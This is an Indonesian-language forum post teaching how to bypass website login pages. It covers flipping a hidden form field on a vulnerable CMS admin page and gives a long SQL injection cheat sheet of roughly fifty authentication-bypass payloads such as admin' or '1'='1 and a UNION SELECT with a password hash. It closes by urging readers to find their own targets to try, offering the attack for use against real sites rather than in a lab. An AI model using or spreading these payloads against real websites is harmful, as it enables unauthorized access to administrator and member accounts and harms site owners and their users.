[sonyrimawan]

selamat malam :d
malam ini saya akan mengshare tentang bypass login sebuah website.
perlu di ingat tidak semua website bisa di susupi menggunakan tehnik ini. namun tidak menutup kemungkinan, masih banyak website di sekitar kita yang masih bisa di susupi menggunakan tehnik ini.
sebenarnya tehnikk ini adalah tehnik yang jadul. tapi bagi yang belum tahu, alangkah lebih baiknya kita belajar bersama menggunakan tehnik ini \m/
untuk memberikan pandangan bagaimana membypass sebuah login page agar kita bisa masuk baik sebagai member maupun sebagai administrator, kita harus pahami terlebih dahulu apa yang sebenarnya kita lakukan ini.
bypass login adalah tindakan yang di lakukan oleh attacker untuk masuk kedalam administrator page atau member page menggunakan cheat sheet yang di masukan kedalam form login.
berbeda dengan sql injection yang biasa di gunakan, kita langsung masuk ke administrator page atau member page.

ada banyak cara yang biasa attacker lakukan dalam menggunakan tehnik bypass login website ini. kali ini saya akan membahas 2 di antaranya. yaitu memanfaatkan vuln dari sql injection dan dari kelemahan sebuah CMS.

pertama saya akan membahas yang dari kelemahan sebuah CMS

Spoiler! :

beberapa website yang menggunakan CMS ini bisa kita tembus menggunakan bypass login. caranya adalah, pertama kita masuk ke login admin terlebih dahulu.

Spoiler! :

setelah kita masuk ke admin page, kita inspect element dan cari kata hidden, kemudian ganti dengan kata text, dan tekan enter di keyboard.

Spoiler! :

Spoiler! :

setelah di ubah menjadi text dan di enter, kita bisa langsung klik login pada login page tersebut.

Spoiler! :

kita bisa masuk kedalam halaman administrator.

cara yang kedua adalah memanfaatkan kelemahan dari sql injection.

Spoiler! :

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

anda bisa mengubah-ubah cheat sheet tersebut sesuai kebutuhan.
antara user dan password bisa di samakan. contoh:
username: ' or'1'='1
pass: ' or'1'='1
jadi antara user dan password sama saja tinggal di copas :d

contoh-contohnya:

Spoiler! :

Spoiler! :

Spoiler! :

Spoiler! :

Spoiler! :

Spoiler! :

Spoiler! :

Spoiler! :

NOTE: Tidak semua website bisa di bypass login. silahkan cari target anda sendiri untuk uji coba :-
sekian spam dari saya, bila ada yang kurang berkenan saya mohon maaf. jika ada yang salah, CMIIW :d